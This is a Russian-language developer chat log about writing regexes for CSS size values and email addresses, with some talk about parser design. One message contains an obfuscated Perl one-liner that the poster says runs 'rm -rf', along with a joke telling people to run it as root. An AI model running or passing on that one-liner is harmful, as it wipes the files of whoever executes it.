Kyrylo 🇺🇦🇺🇦🇺🇦
curl --data?
А чтобы комплить при этом и выдавать аутпут
Kyrylo 🇺🇦🇺🇦🇺🇦
Anton
Посоны
Anton
спосите
Anton
помогите составить регэксп
Anton
у меня есть 3 вида строк:
"10px" - собсна число и пиксели
"10%" - процентики
"auto"
Anton
знаю тупейшая по идее задачка
Anton
но у меня жестокая затупа всегда с макросами, к тому же тут они какие то странные
Berkus
Anton
щас попробуем
ㅤ
Berkus
где-то даже статья была
պլհկ
Он не хочет стило, он хочет велосипед
Berkus
я понимаю, но код уже написан там, можно хотя бы посмотреть на
Anton
регекспами такое медленно
Судзумия
Судзумия
любым парсер комбинатором распарсь
Kerrigan
Anton
ом-ном-ном
Sergey
Маjко
Cat
.+@.+
Αλεχ
да
Cat
для парсинга имейлов
Αλεχ
не, там вроде сложнее
Αλεχ
^.+@.+?\..+$
Αλεχ
во теперь норм
Great
Привет Алексей, это нормально *аплодисменты*
Anton
Anton
root@localhost
Anton
во вторых css-parser это огромная залупа
Αλεχ
я не помню ужо
Anton
из которой только адаптации базовые будут даже больше чем мои текущие наработки
Anton
в третих чем меньше зависимостей тем лучше, если кому надо будет шоб прям все было css напишет свой мидлварь для парсера
Anton
о не проблема
պլհկ
Anton
впочем то что у меня парсер десереализатор на 500 строк меня чуть чуть беспокоит
Anton
конечно это просто репрезентации и имплементоры конверторы
Anton
и все же
Денис
да пофиг ваще регэкспы/ещё как, потом производительность поправим
Dmitriy
Э не
Dmitriy
(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
Денис
там у тапка кагбе совсем не такой регэксп
Денис
прям вот вообще
Dmitriy
Это рфцшный)
Денис
а, это вы всё про имейл
Денис
Денис
я угадал?
Dmitriy
Не
Денис
:(
Dmitriy
Хинт, если там нет x флага
Dmitriy
И нет y/// или tr/// — регулярка безопасна
Денис
why so serious
Berkus
Денис
давай просто всё удалим после моего "угадал" и ты напишешь "да"?)
Dmitriy
Вот это вот известное говно ХУЯРИТ rm -rf
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Dmitriy
Так что запускать от рута
Berkus
Dmitriy
Вам поменять?)
Денис
Berkus
Денис
а не каких-то там человеков непонятных
Anton
Anton
по идее думаю там как то сократить потом можно будет
Anton
но пока не знаю как, сделаю как есть чтоб точно работало все как надо
Денис
сердовские аннотации-то?
Anton
потом отдельно сделаю рефакторинг, ибо у стилей этот вид будет конечной версией
Anton
Денис
да я тоже считаю это уже чисто дело техники
Денис
контрибьютеры запилят)
Anton
ага, поэтому концентрируюсь на функционале
Маjко